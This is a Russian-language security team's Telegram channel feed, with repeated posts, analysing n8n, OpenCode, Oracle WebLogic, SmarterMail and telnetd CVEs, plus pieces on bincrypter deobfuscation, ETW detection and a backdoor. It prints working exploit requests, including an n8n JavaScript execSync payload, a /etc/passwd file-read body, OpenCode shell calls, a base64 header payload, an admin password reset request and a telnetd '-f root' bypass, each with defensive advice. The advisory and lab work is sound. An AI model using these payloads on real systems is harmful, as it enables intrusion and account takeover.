Критическая уязвимость в n8n CVE-2025–68613
Дополнительно — лабораторная работа
CVE-2025–68613 — уязвимость выполнения удаленного кода у авторизированных пользователей в n8n. Уязвимы версии меньше 1.120.4, 1.121.1 и 1.122.0. FOFA сообщает более чем о полумиллионах доступных инстансов n8n по всему миру, в том числе и в России.
🫡 Метрики
🫡 Об уязвимости
В n8n существует возможность установки set-ноды, в значении которой можно передать Java Script–код, что приводит к RCE. В ручном тестировании атака выглядит так.
1) Создают workflow.
2) Выбирают Set-ноду.
3) Выбирают тип данных String.
4) Устанавливают value-значение в формате {{CODE}}.
5) execute step.
Например, value может выглядеть так:
Смягчающий фактор: для атаки нужно авторизироваться.
🫡 Пример атаки
Запрос:
Часть ответа:
🫡 Лабораторная
В комментариях прикрепили docker-файл, который необходимо скачать. Далее выполнить
🫡 Как защищаться
Блокировать POST-запросы на
CVE-2025–68613 — уязвимость выполнения удаленного кода у авторизированных пользователей в n8n. Уязвимы версии меньше 1.120.4, 1.121.1 и 1.122.0. FOFA сообщает более чем о полумиллионах доступных инстансов n8n по всему миру, в том числе и в России.
Base score: 9.9 critical
CWE: CWE-913
В n8n существует возможность установки set-ноды, в значении которой можно передать Java Script–код, что приводит к RCE. В ручном тестировании атака выглядит так.
1) Создают workflow.
2) Выбирают Set-ноду.
3) Выбирают тип данных String.
4) Устанавливают value-значение в формате {{CODE}}.
5) execute step.
Например, value может выглядеть так:
{{ (function() { var require = this.process.mainModule.require; var { execSync } = require("child_process"); return execSync("id", { encoding: "utf8" }).trim(); })() }}Смягчающий фактор: для атаки нужно авторизироваться.
Запрос:
{"workflowData":{"name":"cmd","nodes":[{"parameters":{},"type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[0,0],"id":"8609d8a2-6b0e-4029-acfc-f9fd0c8e2d37","name":"When clicking ‘Execute workflow’"},{"parameters":{"assignments":{"assignments":[{"id":"e576a768-68f6-450c-99d5-089122627914","name":"","value":"={{ (function() { var require = this.process.mainModule.require; var { execSync } = require(\"child_process\"); return execSync(\"id\", { encoding: \"utf8\" }).trim(); })() }}","type":"string"}]},"options":{}},"type":"n8n-nodes-base.set","typeVersion":3.4,"position":[208,0],"id":"e385a6e4-f0dc-4b52-b5c1-5b594f49e56e","name":"Edit Fields"}],"pinData":{},"connections":{"When clicking ‘Execute workflow’":{"main":[[{"node":"Edit Fields","type":"main","index":0}]]}},"active":false,"settings":{},"tags":[],"versionId":"9ca41c70-8dc0-4fde-9e7c-6b5f99040518","meta":null,"id":"IlnKYKYHiRWvL7Gp"},"runData":{},"startNodes":[],"destinationNode":"Edit Fields"}Часть ответа:
"data":"[{\"startData\":\"1\",\"resultData\":\"2\",\"executionData\":\"3\"},{\"destinationNode\":\"4\",\"runNodeFilter\":\"5\"},{\"runData\":\"6\",\"pinData\":\"7\",\"lastNodeExecuted\":\"4\"},{\"contextData\":\"8\",\"nodeExecutionStack\":\"9\",\"metadata\":\"10\",\"waitingExecution\":\"11\",\"waitingExecutionSource\":\"12\"},\"Edit Fields\",[\"13\",\"4\"],{\"When clicking ‘Execute workflow’\":\"14\",\"Edit Fields\":\"15\"},{},{},[],{},{},{},\"When clicking ‘Execute workflow’\",[\"16\"],[\"17\"],{\"startTime\":1766556431228,\"executionIndex\":0,\"source\":\"18\",\"hints\":\"19\",\"executionTime\":1,\"executionStatus\":\"20\",\"data\":\"21\"},{\"startTime\":1766558489574,\"executionIndex\":1,\"source\":\"22\",\"hints\":\"23\",\"executionTime\":4,\"executionStatus\":\"20\",\"data\":\"24\"},[],[],\"success\",{\"main\":\"25\"},[\"26\"],[],{\"main\":\"27\"},[\"28\"],{\"previousNode\":\"13\",\"previousNodeOutput\":0,\"previousNodeRun\":0},[\"29\"],[\"30\"],[\"31\"],{\"json\":\"32\",\"pairedItem\":\"33\"},{\"json\":\"34\",\"pairedItem\":\"35\"},{},{\"item\":0},{\"\":\"36\"},{\"item\":0},\"uid=1000(node) gid=1000(node) groups=1000(node)\"]В комментариях прикрепили docker-файл, который необходимо скачать. Далее выполнить
docker-compose up. После установки в консоли вы увидите адрес и порт n8n-сервиса, на него необходимо перейти и закончить настройку. Далее необходимо выполнить все шаги выше. Блокировать POST-запросы на
/rest/workflows, где значение переменой value ноды set передается строка вида {{CODE}}. CODE можно заменить на опасные JS-функции, например, require, child_process, execSync, toString и другие.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19⚡3🤔3❤1👾1
Вскрываем bincrypter
В атаках на *nix нам периодически попадаются бинари, которые обфусцированы с помощью bincrypter — не самого сложного, но практичного инструмента. Он способен упаковывать исполняемые файлы и shell-скрипты в обфусцированный bash-скрипт, прячет логику расшифровки среди непечатного мусора, динамически собирает eval-конструкции и использует AES-256-CBC вместе с gzip. В результате сигнатурный и поверхностный статический анализ заметно усложняются.
👍 В новой статье мы подробно разбираем архитектуру bincrypter: как формируются секции shebang/init/payload, зачем нужен offset R, как обфусцируются base64-строки и каким образом выполняется финальная расшифровка нагрузки. Отдельно показываем, как извлекать ключевые переменные, чистить мусор и восстанавливать исходный исполняемый файл.
Также в статье есть YARA-правило для детекта bincrypter-обфусцированных файлов, а также наш новый инструмент bindecrypter, который автоматизирует весь процесс деобфускации. Если вы сталкиваетесь с *nix-имплантами, материал поможет быстрее пройти путь от обфусцированного скрипта до исходного бинаря.
И да, с наступающими!❤️
В атаках на *nix нам периодически попадаются бинари, которые обфусцированы с помощью bincrypter — не самого сложного, но практичного инструмента. Он способен упаковывать исполняемые файлы и shell-скрипты в обфусцированный bash-скрипт, прячет логику расшифровки среди непечатного мусора, динамически собирает eval-конструкции и использует AES-256-CBC вместе с gzip. В результате сигнатурный и поверхностный статический анализ заметно усложняются.
Также в статье есть YARA-правило для детекта bincrypter-обфусцированных файлов, а также наш новый инструмент bindecrypter, который автоматизирует весь процесс деобфускации. Если вы сталкиваетесь с *nix-имплантами, материал поможет быстрее пройти путь от обфусцированного скрипта до исходного бинаря.
И да, с наступающими!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20❤9⚡5👍3🤯1👾1
ETW для детектирования сложных атак
Если уже не хочется смотреть на оливье и новогодние фильмы, предлагаем почитать о ETW-провайдерах!
Использовали ли вы когда-нибудь ETW-провайдеры как источник телеметрии для детектирования атак? Мы выделили наиболее интересные ETW-провайдеры из множества доступных в Windows.
😬 Microsoft-Windows-DotNETRuntime — провайдер, который отслеживает различные события среды CLR.
😬 Microsoft-Windows-RPC — провайдер, который позволяет выявлять, какой конкретно RPC-метод пытались вызвать на эндпоинте.
😬 Microsoft-Windows-Threat-Intelligence — провайдер режима ядра, с помощью которого можно строить детекты на различные сложные методы инъекций: Process Hollowing, Early Bird APC Injection и так далее.
В статье можете прочитать больше про эти ETW-провайдеры и узнать о примерах атак, которые можно детектировать с их помощью (ToolShell, .NET Assembly Injection, Atexec-pro).
Бонус: также в статье мы поревёрсили ядро Windows и разобрали принцип работы провайдера Microsoft-Windows-Threat-Intelligence — от инициализации провайдера до примера генерации события выделения виртуальной памяти (Скриншот 1) с правами на исполнение. А еще описали способ обхода ETW-телеметрии — технику ETW Patching (Скриншот 2).
Если уже не хочется смотреть на оливье и новогодние фильмы, предлагаем почитать о ETW-провайдерах!
Использовали ли вы когда-нибудь ETW-провайдеры как источник телеметрии для детектирования атак? Мы выделили наиболее интересные ETW-провайдеры из множества доступных в Windows.
В статье можете прочитать больше про эти ETW-провайдеры и узнать о примерах атак, которые можно детектировать с их помощью (ToolShell, .NET Assembly Injection, Atexec-pro).
Бонус: также в статье мы поревёрсили ядро Windows и разобрали принцип работы провайдера Microsoft-Windows-Threat-Intelligence — от инициализации провайдера до примера генерации события выделения виртуальной памяти (Скриншот 1) с правами на исполнение. А еще описали способ обхода ETW-телеметрии — технику ETW Patching (Скриншот 2).
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤5👍2😁2💅2👾1
Начнем год с Ni8mare и лабораторной 😈
Мы уже писали о n8n в прошлом году. Но пока отдыхали, в сети появился новый эксплойт на уязвимость — CVE-2026-21858. Она связана с путаницей типов, которая позволяет переопределить внутреннее состояние и может привести к чтению или исполнению произвольных файлов.
🫡 Подобнее об уязвимости
При HTTP-запросе n8n смотрит заголовок Content-Type и решает, как распарсить тело запроса.
— Если ожидается multipart/form-data, то n8n должен вызывать безопасный парсер загрузки файлов.
— Вообще путаница типов возникает, когда злоумышленник подменяет MIME type на application/json или что-то другое. И из-за ошибки Content-Type Confusion вызывается обычный парсер тела (parseBody()), который присваивает данные напрямую в req.body без проверки и защиты. То есть вызовется обычный парсер тела запроса вместо парсера загрузки файла. Это позволяет читать произвольный файл в функции prepareFormReturnItem для webhook через:
🫡 Пример json
А вот и лабораторная.
1️⃣ Скачайте в комментариях файл docker-compose, который необходимо запустить через
2️⃣ Настройте Workflow, как показано на скриншоте 1.
3️⃣ Отправьте произвольный файл.
4️⃣ Перехватите запрос, например в Burp Suite.
5️⃣ Измените его тип и содержимое.
6️⃣ Отправьте измененный запрос.
Уязвимость может быть использована как часть RCE-цепочки.
1) Получите данные авторизации через чтение фалов CVE-2026–21858.
2) Выполните удаленный код через CVE-2025–68613.
🫡 Как защищаться
1) В настройках Workflow настроить авторизацию для формы.
2) Блокировать запросы к форме загрузки файлов с типом application/json.
3) Обновиться.
Мы уже писали о n8n в прошлом году. Но пока отдыхали, в сети появился новый эксплойт на уязвимость — CVE-2026-21858. Она связана с путаницей типов, которая позволяет переопределить внутреннее состояние и может привести к чтению или исполнению произвольных файлов.
При HTTP-запросе n8n смотрит заголовок Content-Type и решает, как распарсить тело запроса.
— Если ожидается multipart/form-data, то n8n должен вызывать безопасный парсер загрузки файлов.
— Вообще путаница типов возникает, когда злоумышленник подменяет MIME type на application/json или что-то другое. И из-за ошибки Content-Type Confusion вызывается обычный парсер тела (parseBody()), который присваивает данные напрямую в req.body без проверки и защиты. То есть вызовется обычный парсер тела запроса вместо парсера загрузки файла. Это позволяет читать произвольный файл в функции prepareFormReturnItem для webhook через:
returnItem.binary![fileCount++] = await context.nodeHelpers.copyBinaryFile( file.filepath, file.originalFilename, file.mimetype );
{
"files": {
"test": {
"filepath": "/etc/passwd"
}
}
}А вот и лабораторная.
docker-compose up. Уязвимость может быть использована как часть RCE-цепочки.
1) Получите данные авторизации через чтение фалов CVE-2026–21858.
2) Выполните удаленный код через CVE-2025–68613.
1) В настройках Workflow настроить авторизацию для формы.
2) Блокировать запросы к форме загрузки файлов с типом application/json.
3) Обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤10👍6🔥4🤔1👾1
Уязвимость CVE-2026–22812 в OpenCode
CVE-2026-22812 — уязвимость удаленного выполнения кода в OpenCode.
🫡 Метрики
🫡 Подробнее об уязвимости
OpenCode автоматически запускает локальный HTTP-сервер без какой-либо аутентификации. Сервер позволяет отправлять запросы, которые исполняют shell-команды от имени пользователя, запустившем OpenCode.
Из-за слишком разрешительных настроек CORS-сервер может быть доступен даже с веб-страницы — это расширяет вектор атаки далеко за пределы локальных приложений.
🫡 Уязвимые конечные точки
🫡 Цепочка атаки
Отправка POST-запроса на /session — получение сессии. Пример ответа:
Далее сессия, в нашем случае ses_42b13a22bffech8bpcpa6bpZO4, используется для shell-команд:
🫡 Как защититься
1) Обновиться.
2) Если быстрое обновление невозможно, то блокировать запросы на уязвимые конечные точки из внешних систем, например, правилами WAF/IDS.
CVE-2026-22812 — уязвимость удаленного выполнения кода в OpenCode.
Base Score: 8.8 HIGH
CWE: CWE – 306, CWE – 749, CWE – 942
OpenCode автоматически запускает локальный HTTP-сервер без какой-либо аутентификации. Сервер позволяет отправлять запросы, которые исполняют shell-команды от имени пользователя, запустившем OpenCode.
Из-за слишком разрешительных настроек CORS-сервер может быть доступен даже с веб-страницы — это расширяет вектор атаки далеко за пределы локальных приложений.
/session/{ID}/shell — выполнение shell-команд;/pty — создание интерактивных терминальных сессий;/file/content — чтение произвольного файла.Отправка POST-запроса на /session — получение сессии. Пример ответа:
{"id":"ses_42b13a22bffech8bpcpa6bpZO4","version":"1.0.215","projectID":"global","directory":"/workspaces","title":"New session - 2026-01-19T06:23:38.964Z","time":{"created":1768803818964,"updated":1768803818964}}Далее сессия, в нашем случае ses_42b13a22bffech8bpcpa6bpZO4, используется для shell-команд:
POST /session/ses_42b13a22bffech8bpcpa6bpZO4/shell HTTP/1.1
Host: localhost:4096
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 41
{"agent": "build", "command": "id"}
1) Обновиться.
2) Если быстрое обновление невозможно, то блокировать запросы на уязвимые конечные точки из внешних систем, например, правилами WAF/IDS.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍1👾1
ShadowRelay — модульный бэкдор в госсекторе
В 2025 году мы расследовали атаку на организацию из госсектора и всего в одной инфраструктуре нашли много интересного от разных группировок:
🫡 оригинальный ShadowPad;
🫡 Shadowpad Light (Erudite Mogwai);
🫡 Donnect (Obstinate Mogwai);
🫡 Mythic Agent (GOFFEE).
Но среди этого знакомого зоопарка было и нечто новенькое.
Бэкдор появился в атакованной инфраструктуре приблизительно с группировкой Obstinate Mogwai. Для надежной атрибуции этого маловато, поэтому личности операторов вредоноса пока под вопросом. А вот его устройство и механизмы действия мы разобрали в нашей новой статье.
В 2025 году мы расследовали атаку на организацию из госсектора и всего в одной инфраструктуре нашли много интересного от разных группировок:
Но среди этого знакомого зоопарка было и нечто новенькое.
Модульный бэкдор позволяет атакующим скрытно подгружать плагины, которые реализуют необходимую функциональность в конкретной атаке. Также бэкдор может поддерживать связь с другими имплантами, которые, например, не имеют подключения к интернету.
Бэкдор появился в атакованной инфраструктуре приблизительно с группировкой Obstinate Mogwai. Для надежной атрибуции этого маловато, поэтому личности операторов вредоноса пока под вопросом. А вот его устройство и механизмы действия мы разобрали в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
👌9👍6✍4👾1
Критическая уязвимость в Oracle-Fusion-Middleware CVE-2026-21962
CVE-2026-21962 — уязвимость удаленного выполнения кода (RCE) в Oracle Fusion Middleware, которые используют Oracle HTTP Server и плагин WebLogic Server Proxy для переадресации веб-трафика на серверы бэкенд-приложений. Уязвимость затрагивает Oracle HTTP Server и плагин WebLogic Server Proxy для Apache HTTP Server и IIS в версиях 12.2.1.4.0, 14.1.1.0.0 и 14.1.2.0.0 (для IIS-версии плагина — только 12.2.1.4.0).
👍 Метрики
👍 Сканирование и эксплуатация
Кроме сканеров уязвимых версий в публичном пространстве появляются скрипты с попытками эксплуатации. Вот что информативного можно выделить в этих эксплоитах.
Уязвимые конечные точки:
Специфические URL:
Заголовки:
Пример запроса:
👍 Как происходит сканирование
Отправляется запрос на
👍 Как защититься
Для детектирования подобных сканеров можно написать правило на WAF/IDS , блокирующее GET/POST-запросы на уязвимые конечные точки, в URL которых передаются попытки выхода за пределы каталога ../ ..; а в заголовках — строка с кодировкой base64.
CVE-2026-21962 — уязвимость удаленного выполнения кода (RCE) в Oracle Fusion Middleware, которые используют Oracle HTTP Server и плагин WebLogic Server Proxy для переадресации веб-трафика на серверы бэкенд-приложений. Уязвимость затрагивает Oracle HTTP Server и плагин WebLogic Server Proxy для Apache HTTP Server и IIS в версиях 12.2.1.4.0, 14.1.1.0.0 и 14.1.2.0.0 (для IIS-версии плагина — только 12.2.1.4.0).
Base Score: 10.0 CRITICAL
CWE: CWE-284
Кроме сканеров уязвимых версий в публичном пространстве появляются скрипты с попытками эксплуатации. Вот что информативного можно выделить в этих эксплоитах.
Уязвимые конечные точки:
"/weblogic/",
"/wl_proxy/",
"/bea_wls_internal/",
"/_proxy/",
"/proxy/"
Специфические URL:
/weblogic/..;/bea_wls_internal/ProxyServlet
Заголовки:
"WL-Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"X-Forwarded-For": f"127.0.0.1;{encoded_payload}",encoded_payload — закодированная в base64 shell-команда. Пример запроса:
GET /weblogic/weblogic/..;/bea_wls_internal/ProxyServlet HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (compatible; Exploit/1.0)
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
WL-Proxy-Client-IP: 127.0.0.1;Y21kOmlk
X-Forwarded-For: 127.0.0.1;Y21kOmlk
Отправляется запрос на
{конечная точка}/weblogic/..;/bea_wls_internal/ProxyServlet. Если сервер отвечает статус-кодом 200, то запрос отправляется на эту же конечную точку с установленными заголовками. Для детектирования подобных сканеров можно написать правило на WAF/IDS , блокирующее GET/POST-запросы на уязвимые конечные точки, в URL которых передаются попытки выхода за пределы каталога ../ ..; а в заголовках — строка с кодировкой base64.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👌5✍4🤔2👾1
Опять админ пароль сменил
CVE-2026-23760 — критическая уязвимость, которая позволяет сбросить пароль администратора. Действует в SmarterMail в версиях до 9511.
👽 Метрики
👽 Подробнее об уязвимости
Она находится в конечной точке
✅ IsSysAdmin — Bool-переменная. Значение true отвечает за сброс пароля администратора, false — за сброс пароля обычного пользователя.
✅ OldPassword — переменная, значение которой не проверяется.
✅ Username — имя администратора. Оно должно реально существовать.
✅ NewPassword и ConfirmPassword — новый пароль и его подтверждение.
В патч добавили проверку старого пароля администратора:
Важно: уязвимость усугубляет возможность выполнения RCE при создании нового тома через Volume Mount Command.
1) Зайдите в настройки — Volume Mounts.
2) Создайте new volume.
3) Введите произвольную команду в поле Volume Mount.
👽 Как защищаться
1) Обновляться.
2) Блокировать запросы из внешних сетей на /api/v1/auth/force-reset-password со значением IsSysAdmin: true.
3) Проверять логи обращений к /api/v1/auth/force-reset-password от внешних сетей.
CVE-2026-23760 — критическая уязвимость, которая позволяет сбросить пароль администратора. Действует в SmarterMail в версиях до 9511.
Base Score: 9,3
CWE: CWE-288
Она находится в конечной точке
/api/v1/auth/force-reset-password, на которую можно отправить подготовленный POST-запрос, в котором Json-тело будет в следующем формате:{"IsSysAdmin":"true",
"OldPassword":"ItIsWrongNumber",
"Username":"NameAdmin",
"NewPassword":"ImAdmin1337!",
"ConfirmPassword": "ImAdmin1337!"}db_system_administrator_readonly db_system_administrator_readonly = SystemRepository.Instance.AdministratorGetByUsername(inputs.Username);
Уточнение: присутствует проверка старого пароля у обычных пользователей, IsSysAdmin: false.
В патч добавили проверку старого пароля администратора:
if (!db_system_administrator_readonly.ValidatePassword(inputs.OldPassword, null))
Важно: уязвимость усугубляет возможность выполнения RCE при создании нового тома через Volume Mount Command.
1) Зайдите в настройки — Volume Mounts.
2) Создайте new volume.
3) Введите произвольную команду в поле Volume Mount.
1) Обновляться.
2) Блокировать запросы из внешних сетей на /api/v1/auth/force-reset-password со значением IsSysAdmin: true.
3) Проверять логи обращений к /api/v1/auth/force-reset-password от внешних сетей.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7👍4👌4❤1👾1
Telnetd открыт для всех. Критическая уязвимость CVE-2026-24061
CVE-2026-24061 — критическая уязвимость типа Argument Injection в демоне Telnetd из набора GNU Inetutils. Уязвимый код находится в компонентах Telnetd в версиях от 1.9.3 до 2.7 включительно.
🫡 Метрики
🫡 Суть уязвимости
В Telnetd переменная окружения USER нужна для предварительного заполнения имени пользователя при аутентификации. -f — это один из флагов в исполняемом файле /usr/bin/login, который позволяет пропустить интерактивную аутентификацию.
Если для переменной USER установить значение -f root и опцию автологина -a, то Telnetd передаст -f root в исполняемый файл /usr/bin/login. Это заставит команду login пропустить аутентификацию и позволит залогиниться как под root, так и под учетную запись любого другого пользователя.
Кстати: можно изменить значения других переменных окружения Telnetd. Пример — мы изменили значение переменной окружения TERM командой:
🫡 Последовательность атаки
1) Злоумышленник подключается к серверу Telnet.
2) При инициации аутентификации клиент Telnet устанавливает для переменной окружения USER значение -f root.
3) Telnetd получает запрос Suboption New Environment Option и передает значение USER (то есть -f root) как аргумент для /usr/bin/login, где параметр -f позволяет пропустить проверку пароля и осуществляет вход под пользователем root.
4) Клиент получает интерактивную оболочку root на сервере.
😬 Как защититься
1) Обновиться до версии GNU Inetutils 2.7-2 и позднее.
2) Если Telnet не нужен, то сервис Telnetd нужно деактивировать.
3) Создать правило IDS на Telnet-соединения, чтобы отслеживать опции New Environment с переменной USER=-f root.
CVE-2026-24061 — критическая уязвимость типа Argument Injection в демоне Telnetd из набора GNU Inetutils. Уязвимый код находится в компонентах Telnetd в версиях от 1.9.3 до 2.7 включительно.
Base Score: 9.8 Critical
CWE: 88
В Telnetd переменная окружения USER нужна для предварительного заполнения имени пользователя при аутентификации. -f — это один из флагов в исполняемом файле /usr/bin/login, который позволяет пропустить интерактивную аутентификацию.
Если для переменной USER установить значение -f root и опцию автологина -a, то Telnetd передаст -f root в исполняемый файл /usr/bin/login. Это заставит команду login пропустить аутентификацию и позволит залогиниться как под root, так и под учетную запись любого другого пользователя.
Кстати: можно изменить значения других переменных окружения Telnetd. Пример — мы изменили значение переменной окружения TERM командой:
USER="-f root" TERM="hello" telnet -a 127.0.0.1 2323
1) Злоумышленник подключается к серверу Telnet.
2) При инициации аутентификации клиент Telnet устанавливает для переменной окружения USER значение -f root.
3) Telnetd получает запрос Suboption New Environment Option и передает значение USER (то есть -f root) как аргумент для /usr/bin/login, где параметр -f позволяет пропустить проверку пароля и осуществляет вход под пользователем root.
4) Клиент получает интерактивную оболочку root на сервере.
1) Обновиться до версии GNU Inetutils 2.7-2 и позднее.
2) Если Telnet не нужен, то сервис Telnetd нужно деактивировать.
3) Создать правило IDS на Telnet-соединения, чтобы отслеживать опции New Environment с переменной USER=-f root.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🤔7❤🔥4❤3